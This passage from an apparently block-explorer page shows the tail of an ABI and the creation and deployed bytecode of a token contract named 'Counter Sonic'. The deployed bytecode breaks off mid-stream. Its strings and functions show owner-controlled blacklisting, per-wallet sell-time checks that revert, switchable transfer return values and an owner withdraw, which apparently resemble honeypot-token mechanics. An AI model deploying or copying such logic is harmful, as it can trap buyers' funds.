:"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526100106009600a610483565b61001e906305f5e100610498565b600c819055600d555f600e81905561012c600f55604080516080808201835283825260208083018590528284018590526060928301859052601785905560188590556019859055601a85905583519182018452848252810184905291820183905201819052601b819055601c819055601d819055601e55602480546001600160a01b0319167391908f2c8e4cab0ea061f8b19a7d192749aa392b17905560258054630101000160a01b63ffff00ff60a01b199091161790553480156100e1575f80fd5b50604051612f94380380612f94833981016040819052610100916104af565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d5460035f6101575f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f2055610179816102db565b600160065f61018f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260068552838220805487166001908117909155602554841683528483208054881682179055602454909316825283822080548716841790557f08dd78ea4828ba28218d83ba63b021182127ff3f556e9e659c8fb0788cfbb8918054871684179055808252600790945291822080549094168117909355600b8054938401815590527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db990910180546001600160a01b03191690911790556102875f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516102cd91815260200190565b60405180910390a3506104e8565b602580546001600160a01b0319166001600160a01b0383161790556103026009600a610483565b610312906509184e72a000610498565b6001600160a01b0382165f90815260036020526040812080549091906103399084906104d5565b9091555061034b90506009600a610483565b61035b906509184e72a000610498565b6001600160a01b0382165f90815260046020526040812080549091906103829084906104d5565b909155505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103d9578085048111156103bd576103bd61038a565b60018416156103cb57908102905b60019390931c9280026103a2565b935093915050565b5f826103ef5750600161047d565b816103fb57505f61047d565b8160018114610411576002811461041b57610437565b600191505061047d565b60ff84111561042c5761042c61038a565b50506001821b61047d565b5060208310610133831016604e8410600b841016171561045a575081810a61047d565b6104665f19848461039e565b805f19048211156104795761047961038a565b0290505b92915050565b5f61049160ff8416836103e1565b9392505050565b808202811582820484141761047d5761047d61038a565b5f602082840312156104bf575f80fd5b81516001600160a01b0381168114610491575f80fd5b8082018082111561047d5761047d61038a565b612a9f806104f55f395ff3fe6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109d9578063f6d7eade146109f8578063f921400514610a17578063ff89757014610a36575f80fd5b8063ea2f0b3714610970578063ecbde40c1461098f578063efbe389a146109ba575f80fd5b8063bc0ad5a31461087b578063c2b7bbb61461089b578063c49b9a80146108ba578063dd62ed3e146108d9578063e2255e291461091d578063e7e645191461093c575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107f3578063a457c2d714610812578063a8be9a5814610831578063a9059cbb1461085c575f80fd5b806395d89b41146107925780639b26c923146107bc5780639ba5e4d5146107d1575f80fd5b8063715018a6146106a757806373cafdc2146106bb578063786564c4146106dd57806388f82020146106fc5780638b7afe2e146107335780638da5cb5b14610762575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105f05780635a1afc561461062757806370a0823114610646578063713898cd14610665575f80fd5b80634a74bb021461059257806351ecfeae146105b257806352390c02146105d1575f80fd5b80633ccfd60b146104ce5780634359a871146104e2578063437823ec146105165780634549b039146105355780634a17beb1146105545780634a49ac4c14610573575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc146104525780633685d41914610471578063370f0a601461049057806339509351146104af575f80fd5b80632d83811914610403578063313ce5671461042257806331b72ff01461043d575f80fd5b806306fdde0314610301578063095ea7b31461034857806318160ddd146103775780631cdd3be31461039557806323b872dd146103c3578063275d53ce146103e2575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b5060408051808201909152600d81526c436f756e74657220536f6e696360981b60208201525b60405161033f9190612721565b60405180910390f35b348015610353575f80fd5b50610367610362366004612771565b610a55565b604051901515815260200161033f565b348015610382575f80fd5b50600c545b60405190815260200161033f565b3480156103a0575f80fd5b506103676103af366004612799565b600a6020525f908152604090205460ff1681565b3480156103ce575f80fd5b506103676103dd3660046127b2565b610a6b565b3480156103ed575f80fd5b506104016103fc3660046127fb565b610ade565b005b34801561040e575f80fd5b5061038761041d366004612814565b610b2e565b34801561042d575f80fd5b506040516009815260200161033f565b348015610448575f80fd5b50610387600f5481565b34801561045d575f80fd5b5061040161046c366004612814565b610b98565b34801561047c575f80fd5b5061040161048b366004612799565b610bc6565b34801561049b575f80fd5b506104016104aa366004612799565b610d6a565b3480156104ba575f80fd5b506103676104c9366004612771565b610e98565b3480156104d9575f80fd5b50610401610ece565b3480156104ed575f80fd5b506103876104fc366004612799565b6001600160a01b03165f9081526008602052604090205490565b348015610521575f80fd5b50610401610530366004612799565b610f23565b348015610540575f80fd5b5061038761054f36600461282b565b610f6f565b34801561055f575f80fd5b5061040161056e366004612855565b610ff6565b34801561057e575f80fd5b5061040161058d366004612799565b611089565b34801561059d575f80fd5b5060255461036790600160b81b900460ff1681565b3480156105bd575f80fd5b506104016105cc3660046128c6565b6110d2565b3480156105dc575f80fd5b506104016105eb366004612799565b61110f565b3480156105fb575f80fd5b5061036761060a366004612799565b6001600160a01b03165f9081526006602052604090205460ff1690565b348015610632575f80fd5b50610401610641366004612814565b61125c565b348015610651575f80fd5b50610387610660366004612799565b61128a565b348015610670575f80fd5b50601b54601c54601d54601e546106879392919084565b60408051948552602085019390935291830152606082015260800161033f565b3480156106b2575f80fd5b506104016112e0565b3480156106c6575f80fd5b50601754601854601954601a546106879392919084565b3480156106e8575f80fd5b506104016106f73660046128c6565b611351565b348015610707575f80fd5b50610367610716366004612799565b6001600160a01b03165f9081526007602052604090205460ff1690565b34801561073e575f80fd5b5060155460165461074d919082565b6040805192835260208301919091520161033f565b34801561076d575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161033f565b34801561079d575f80fd5b50604080518082019091526002815261435360f01b6020820152610332565b3480156107c7575f80fd5b50610387600e5481565b3480156107dc575f80fd5b506011546012546013546014546106879392919084565b3480156107fe575f80fd5b5061036761080d3660046128f5565b61138e565b34801561081d575f80fd5b5061036761082c366004612771565b6113fd565b34801561083c575f80fd5b5061038761084b366004612799565b60086020525f908152604090205481565b348015610867575f80fd5b50610367610876366004612771565b61144a565b348015610886575f80fd5b5060255461036790600160a01b900460ff1681565b3480156108a6575f80fd5b506104016108b5366004612799565b61146a565b3480156108c5575f80fd5b506104016108d43660046127fb565b611525565b3480156108e4575f80fd5b506103876108f3366004612927565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610928575f80fd5b506104016109373660046127fb565b6115a6565b348015610947575f80fd5b50610387610956366004612799565b6001600160a01b03165f9081526009602052604090205490565b34801561097b575f80fd5b5061040161098a366004612799565b6115ed565b34801561099a575f80fd5b506103876109a9366004612799565b60096020525f908152604090205481565b3480156109c5575f80fd5b5060235461077a906001600160a01b031681565b3480156109e4575f80fd5b506104016109f3366004612799565b611636565b348015610a03575f80fd5b5060245461077a906001600160a01b031681565b348015610a22575f80fd5b5060105461077a906001600160a01b031681565b348015610a41575f80fd5b50610401610a50366004612855565b61171d565b5f610a613384846117ab565b5060015b92915050565b5f610a778484846118ce565b610ac88433610ac385604051806060016040528060288152602001612a1d602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611b3f565b6117ab565b50602554600160b01b900460ff165b9392505050565b5f546001600160a01b03163314610b105760405162461bcd60e51b8152600401610b079061294f565b60405180910390fd5b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f600d54821115610b945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610b07565b5090565b5f546001600160a01b03163314610bc15760405162461bcd60e51b8152600401610b079061294f565b600f55565b5f546001600160a01b03163314610bef5760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b0381165f9081526007602052604090205460ff16610c565760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610b07565b5f5b600b54811015610d6657816001600160a01b0316600b8281548110610c7f57610c7f612984565b5f918252602090912001546001600160a01b031603610d5e57600b8054610ca8906001906129ac565b81548110610cb857610cb8612984565b5f91825260209091200154600b80546001600160a01b039092169183908110610ce357610ce3612984565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600b805480610d3a57610d3a6129bf565b5f8281526020902081015f1990810180546001600160a01b03191690550190555050565b600101610c58565b5050565b5f546001600160a01b03163314610d935760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b0381165f9081526007602052604090205460ff16610e69576001600160a01b0381165f908152600760209081526040808320805460ff19166001179055600390915290205415610e1e576001600160a01b0381165f90815260036020526040902054610e0590610b2e565b6001600160a01b0382165f908152600460205260409020555b600b80546001810182555f919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381165f908152600660205260409020805460ff19166001908117909155610d669082611b6a565b335f8181526005602090815260408083206001600160a01b03871684529091528120549091610a61918590610ac39086906129d3565b5f546001600160a01b03163314610ef75760405162461bcd60e51b8152600401610b079061294f565b6040514790339082156108fc029083905f818181858888f19350505050158015610d66573d5f803e3d5ffd5b5f546001600160a01b03163314610f4c5760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f600c54831115610fc25760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610b07565b81610fdd575f610fd3846001611b7e565b519150610a659050565b5f610fe9846001611b7e565b602001519150610a659050565b5f546001600160a01b0316331461101f5760405162461bcd60e51b8152600401610b079061294f565b5f5b8181101561108457600160065f85858581811061104057611040612984565b90506020020160208101906110559190612799565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611021565b505050565b5f546001600160a01b031633146110b25760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b03165f908152600a60205260409020805460ff19169055565b5f546001600160a01b031633146110fb5760405162461bcd60e51b8152600401610b079061294f565b601793909355601891909155601955601a55565b5f546001600160a01b031633146111385760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b0381165f9081526007602052604090205460ff16156111a05760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610b07565b6001600160a01b0381165f90815260036020526040902054156111f7576001600160a01b0381165f908152600360205260409020546111de90610b2e565b6001600160a01b0382165f908152600460205260409020555b6001600160a01b03165f818152600760205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b5f546001600160a01b031633146112855760405162461bcd60e51b8152600401610b079061294f565b600e55565b6001600160a01b0381165f9081526007602052604081205460ff16156112c557506001600160a01b03165f9081526004602052604090205490565b506001600160a01b03165f9081526003602052604090205490565b5f546001600160a01b031633146113095760405162461bcd60e51b8152600401610b079061294f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461137a5760405162461bcd60e51b8152600401610b079061294f565b601b93909355601c91909155601d55601e55565b5f835f0361139d57505f610ad7565b5f6113a885426129ac565b9050600f5481036113bd576001915050610ad7565b805f036113e2576010546001600160a01b038481169116146113e2575f915050610ad7565b8381116113f3576001915050610ad7565b505f949350505050565b5f610a613384610ac385604051806060016040528060258152602001612a4560259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611b3f565b5f6114563384846118ce565b5050602554600160a01b900460ff16919050565b5f546001600160a01b031633146114935760405162461bcd60e51b8152600401610b079061294f565b602380546001600160a01b039283166001600160a01b0319918216811783555f908152600760209081526040808320805460ff191660019081179091558554600b805492830190557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9909101805490951690871617909355925490931683526003825280832054600490925290912055565b5f546001600160a01b0316331461154e5760405162461bcd60e51b8152600401610b079061294f565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061159b90831515815260200190565b60405180910390a150565b5f546001600160a01b031633146115cf5760405162461bcd60e51b8152600401610b079061294f565b60258054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146116165760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b0316331461165f5760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b0381166116c45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b07565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146117465760405162461bcd60e51b8152600401610b079061294f565b5f5b81811015611084576001600a5f85858581811061176757611767612984565b905060200201602081019061177c9190612799565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611748565b6001600160a01b03831661180d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b07565b6001600160a01b03821661186e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b07565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff1615801561190e57506001600160a01b0382165f908152600a602052604090205460ff16155b61195a5760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c697374656400000000006044820152606401610b07565b6001600160a01b0383166119be5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b07565b6001600160a01b038216611a205760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b07565b5f8111611a815760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b07565b611a8a8361128a565b811115611af25760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610b07565b6001600160a01b0383165f908152600660205260409020546110849084908490849060ff1680611b3957506001600160a01b0386165f9081526006602052604090205460ff165b15611bc6565b5f8184841115611b625760405162461bcd60e51b8152600401610b079190612721565b505050900390565b5f610ad7836001600160a01b038416612174565b611b866126d2565b611b908383612257565b9050611ba5818484611ba0612335565b612356565b60a08701526080860152606085015260408401526020830152815292915050565b8015611d8d576023546001600160a01b0390811690851603611c98575f546001600160a01b03858116911614801590611c0c57505f546001600160a01b03848116911614155b8015611c2257506001600160a01b038316600114155b15611c60576001600160a01b0383165f908152600860205260408120549003611c60576001600160a01b0383165f9081526008602052604090204290555b601080546001600160a01b0319166001600160a01b038516179055601754601f55601854602055601954602155601a54602255611e05565b5f546001600160a01b03858116911614801590611cc257505f546001600160a01b03848116911614155b8015611cd857506001600160a01b038316600114155b15611d55576001600160a01b0384165f90815260086020526040812054611d0290600e548761138e565b905080611d395760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610b07565b506001600160a01b0384165f9081526009602052604090204290555b601b54601f55601c54602055601d54602155601e54602255601080546001600160a01b0319166001600160a01b038616179055611e05565b6001600160a01b0384165f9081526006602052604090205460ff1615611dc957601080546001600160a01b0319166001600160a01b0386161790555b6001600160a01b0383165f9081526006602052604090205460ff1615611e0557601080546001600160a01b0319166001600160a01b0385161790555b5f611e108383611b7e565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e5257506001600160a01b0384165f9081526007602052604090205460ff16155b15611e97576001600160a01b0385165f90815260046020526040902054611e7a9084906129ac565b6001600160a01b0386165f90815260046020526040902055611fd4565b6001600160a01b0385165f9081526007602052604090205460ff16158015611ed657506001600160a01b0384165f9081526007602052604090205460ff165b15611f1f5760c08101516001600160a01b0385165f90815260046020526040902054611f0291906129d3565b6001600160a01b0385165f90815260046020526040902055611fd4565b6001600160a01b0385165f9081526007602052604090205460ff168015611f5d57506001600160a01b0384165f9081526007602052604090205460ff165b15611fd4576001600160a01b0385165f90815260046020526040902054611f859084906129ac565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611fbb91906129d3565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f90815260036020526040902054611ff891906129ac565b6001600160a01b038087165f908152600360209081526040808320949094558401519187168152919091205461202e91906129d3565b6001600160a01b0385165f9081526003602052604090205581156120f45761205e81604001518260e001516123cd565b61207181606001518261010001516123fb565b6120848160800151826101200151612496565b6120978160a001518261014001516124c3565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361012001518461010001516120e291906129d3565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161213d91815260200190565b60405180910390a3612150600185612502565b5061215a8561128a565b5f0361216d5761216b600186611b6a565b505b5050505050565b5f818152600183016020526040812054801561224e575f6121966001836129ac565b85549091505f906121a9906001906129ac565b9050818114612208575f865f0182815481106121c7576121c7612984565b905f5260205f200154905080875f0184815481106121e7576121e7612984565b5f918252602080832090910192909255918252600188019052604090208390555b8554869080612219576122196129bf565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a65565b5f915050610a65565b61225f6126d2565b816122705760c08101839052610a65565b601f5460649061228090856129e6565b61228a91906129fd565b60e082015260205460649061229f90856129e6565b6122a991906129fd565b6101008201526021546064906122bf90856129e6565b6122c991906129fd565b6101208201526022546064906122df90856129e6565b6122e991906129fd565b610140820181905261012082015161010083015160e084015161230c90876129ac565b61231691906129ac565b61232091906129ac565b61232a91906129ac565b60c082015292915050565b5f805f612340612516565b909250905061234f81836129fd565b9250505090565b506001825f808080808761237757508493505f9250829150819050806123c0565b5050505060e086015161010087015161012088015161014089015180828461239f878a6129ac565b6123a991906129ac565b6123b391906129ac565b6123bd91906129ac565b94505b9499939850945094509450565b81600d546123db91906129ac565b600d55601180548291905f906123f29084906129d3565b90915550505050565b8060155f015f82825461240e91906129d3565b9091555050601280548291905f906124279084906129d3565b9091555050305f908152600360205260409020546124469083906129d3565b305f9081526003602090815260408083209390935560079052205460ff1615610d6657305f908152600460205260409020546124839082906129d3565b305f908152600460205260409020555050565b8060156001015f8282546124aa91906129d3565b9091555050601380548291905f906124279084906129d3565b8060116003015f8282546124d791906129d3565b9091555050600c546124ea9082906129ac565b600c55600d546124fb9083906129ac565b600d555050565b5f610ad7836001600160a01b038416612686565b600d54600c545f918291825b600b54811015612655578260035f600b848154811061254357612543612984565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806125ab57508160045f600b848154811061258557612585612984565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156125c157600d54600c54945094505050509091565b60035f600b83815481106125d7576125d7612984565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461260590846129ac565b925060045f600b838154811061261d5761261d612984565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461264b90836129ac565b9150600101612522565b50600c54600d5461266691906129fd565b82101561267d57600d54600c549350935050509091565b90939092509050565b5f8181526001830160205260408120546126cb57508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a65565b505f610a65565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461276c575f80fd5b919050565b5f8060408385031215612782575f80fd5b61278b83612756565b946020939093013593505050565b5f602082840312156127a9575f80fd5b610ad782612756565b5f805f606084860312156127c4575f80fd5b6127cd84612756565b92506127db60208501612756565b929592945050506040919091013590565b8035801515811461276c575f80fd5b5f6020828403121561280b575f80fd5b610ad7826127ec565b5f60208284031215612824575f80fd5b5035919050565b5f806040838503121561283c575f80fd5b8235915061284c602084016127ec565b90509250929050565b5f8060208385031215612866575f80fd5b823567ffffffffffffffff81111561287c575f80fd5b8301601f8101851361288c575f80fd5b803567ffffffffffffffff8111156128a2575f80fd5b8560208260051b84010111156128b6575f80fd5b6020919091019590945092505050565b5f805f80608085870312156128d9575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60608486031215612907575f80fd5b833592506020840135915061291e60408501612756565b90509250925092565b5f8060408385031215612938575f80fd5b61294183612756565b915061284c60208401612756565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a6557610a65612998565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a6557610a65612998565b8082028115828204841417610a6557610a65612998565b5f82612a1757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a4b9502ba00c44c1fd3a0abfc5d86189a08d3e1379e7b529de0d636031064a4b64736f6c634300081a0033000000000000000000000000b47ae2652b0845f5ed9dd972c63b4a4900398335
Deployed Bytecode
0x6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109d9578063f6d7eade146109f8578063f921400514610a17578063ff89757014610a36575f80fd5b8063ea2f0b3714610970578063ecbde40c1461098f578063efbe389a146109ba575f80fd5b8063bc0ad5a31461087b578063c2b7bbb61461089b578063c49b9a80146108ba578063dd62ed3e146108d9578063e2255e291461091d578063e7e645191461093c575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107f3578063a457c2d714610812578063a8be9a5814610831578063a9059cbb1461085c575f80fd5b806395d89b41146107925780639b26c923146107bc5780639ba5e4d5146107d1575f80fd5b8063715018a6146106a757806373cafdc2146106bb578063786564c4146106dd57806388f82020146106fc5780638b7afe2e146107335780638da5cb5b14610762575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105f05780635a1afc561461062757806370a0823114610646578063713898cd14610665575f80fd5b80634a74bb021461059257806351ecfeae146105b257806352390c02146105d1575f80fd5b80633ccfd60b146104ce5780634359a871146104e2578063437823ec146105165780634549b039146105355780634a17beb1146105545780634a49ac4c14610573575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc146104525780633685d41914610471578063370f0a601461049057806339509351146104af575f80fd5b80632d83811914610403578063313ce5671461042257806331b72ff01461043d575f80fd5b806306fdde0314610301578063095ea7b31461034857806318160ddd146103775780631cdd3be31461039557806323b872dd146103c3578063275d53ce146103e2575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b5060408051808201909152600d81526c436f756e74657220536f6e696360981b60208201525b60405161033f9190612721565b60405180910390f35b348015610353575f80fd5b50610367610362366004612771565b610a55565b604051901515815260200161033f565b348015610382575f80fd5b50600c545b60405190815260200161033f565b3480156103a0575f80fd5b506103676103af366004612799565b600a6020525f908152604090205460ff1681565b3480156103ce575f80fd5b506103676103dd3660046127b2565b610a6b565b3480156103ed575f80fd5b506104016103fc3660046127fb565b610ade565b005b34801561040e575f80fd5b5061038761041d366004612814565b610b2e565b34801561042d575f80fd5b506040516009815260200161033f565b348015610448575f80fd5b50610387600f5481565b34801561045d575f80fd5b5061040161046c366004612814565b610b98565b34801561047c575f80fd5b5061040161048b366004612799565b610bc6565b34801561049b575f80fd5b506104016104aa366004612799565b610d6a565b3480156104ba575f80fd5b506103676104c9366004612771565b610e98565b3480156104d9575f80fd5b50610401610ece565b3480156104ed575f80fd5b506103876104fc366004612799565b6001600160a01b03165f9081526008602052604090205490565b348015610521575f80fd5b50610401610530366004612799565b610f23565b348015610540575f80fd5b5061038761054f36600461282b565b610f6f565b34801561055f575f80fd5b5061040161056e366004612855565b610ff6565b34801561057e575f80fd5b5061040161058d366004612799565b611089565b34801561059d575f80fd5b5060255461036790600160b81b900460ff1681565b3480156105bd575f80fd5b506104016105cc3660046128c6565b6110d2565b3480156105dc575f80fd5b506104016105eb366004612799565b61110f565b3480156105fb575f80fd5b5061036761060a366004612799565b6001600160a01b03165f9081526006602052604090205460ff1690565b348015610632575f80fd5b50610401610641366004612814565b61125c565b348015610651575f80fd5b50610387610660366004612799565b61128a565b348015610670575f80fd5b50601b54601c54601d54601e546106879392919084565b60408051948552602085019390935291830152606082015260800161033f565b3480156106b2575f80fd5b506104016112e0565b3480156106c6575f80fd5b50601754601854601954601a546106879392919084565b3480156106e8575f80fd5b506104016106f73660046128c6565b611351565b348015610707575f80fd5b50610367610716366004612799565b6001600160a01b03165f9081526007602052604090205460ff1690565b34801561073e575f80fd5b5060155460165461074d919082565b6040805192835260208301919091520161033f565b34801561076d575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161033f565b34801561079d575f80fd5b50604080518082019091526002815261435360f01b6020820152610332565b3480156107c7575f80fd5b50610387600e5481565b3480156107dc575f80fd5b506011546012546013546014546106879392919084565b3480156107fe575f80fd5b5061036761080d3660046128f5565b61138e565b34801561081d575f80fd5b5061036761082c366004612771565b6113fd565b34801561083c575f80fd5b5061038761084b366004612799565b60086020525f908152604090205481565b348015610867575f80fd5b50610367610876366004612771565b61144a565b348015610886575f80fd5b5060255461036790600160a01b900460ff1681565b3480156108a6575f80fd5b506104016108b5366004612799565b61146a565b3480156108c5575f80fd5b506104016108d43660046127fb565b611525565b3480156108e4575f80fd5b506103876108f3366004612927565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610928575f80fd5b506104016109373660046127fb565b6115a6565b348015610947575f80fd5b50610387610956366004612799565b6001600160a01b03165f9081526009602052604090205490565b34801561097b575f80fd5b5061040161098a366004612799565b6115ed565b34801561099a575f80fd5b506103876109a9366004612799565b60096020525f908152604090205481565b3480156109c5575f80fd5b5060235461077a906001600160a01b031681565b3480156109e4575f80fd5b506104016109f3366004612799565b611636565b348015610a03575f80fd5b5060245461077a906001600160a01b031681565b348015610a22575f80fd5b5060105461077a906001600160a01b031681565b348015610a41575f80fd5b50610401610a50366004612855565b61171d565b5f610a613384846117ab565b5060015b92915050565b5f610a778484846118ce565b610ac88433610ac385604051806060016040528060288152602001612a1d602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611b3f565b6117ab565b50602554600160b01b900460ff165b9392505050565b5f546001600160a01b03163314610b105760405162461bcd60e51b8152600401610b079061294f565b60405180910390fd5b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f600d54821115610b945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610b07565b5090565b5f546001600160a01b03163314610bc15760405162461bcd60e51b8152600401610b079061294f565b600f55565b5f546001600160a01b03163314610bef5760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b0381165f9081526007602052604090205460ff16610c565760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610b07565b5f5b600b54811015610d6657816001600160a01b0316600b8281548110610c7f57610c7f612984565b5f918252602090912001546001600160a01b031603610d5e57600b8054610ca8906001906129ac565b81548110610cb857610cb8612984565b5f91825260209091200154600b80546001600160a01b039092169183908110610ce357610ce3612984565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600b805480610d3a57610d3a6129bf565b5f8281526020902081015f1990810180546001600160a01b03191690550190555050565b600101610c58565b5050565b5f546001600160a01b03163314610d935760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b0381165f9081526007602052604090205460ff16610e69576001600160a01b0381165f908152600760209081526040808320805460ff19166001179055600390915290205415610e1e576001600160a01b0381165f90815260036020526040902054610e0590610b2e565b6001600160a01b0382165f908152600460205260409020555b600b80546001810182555f919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f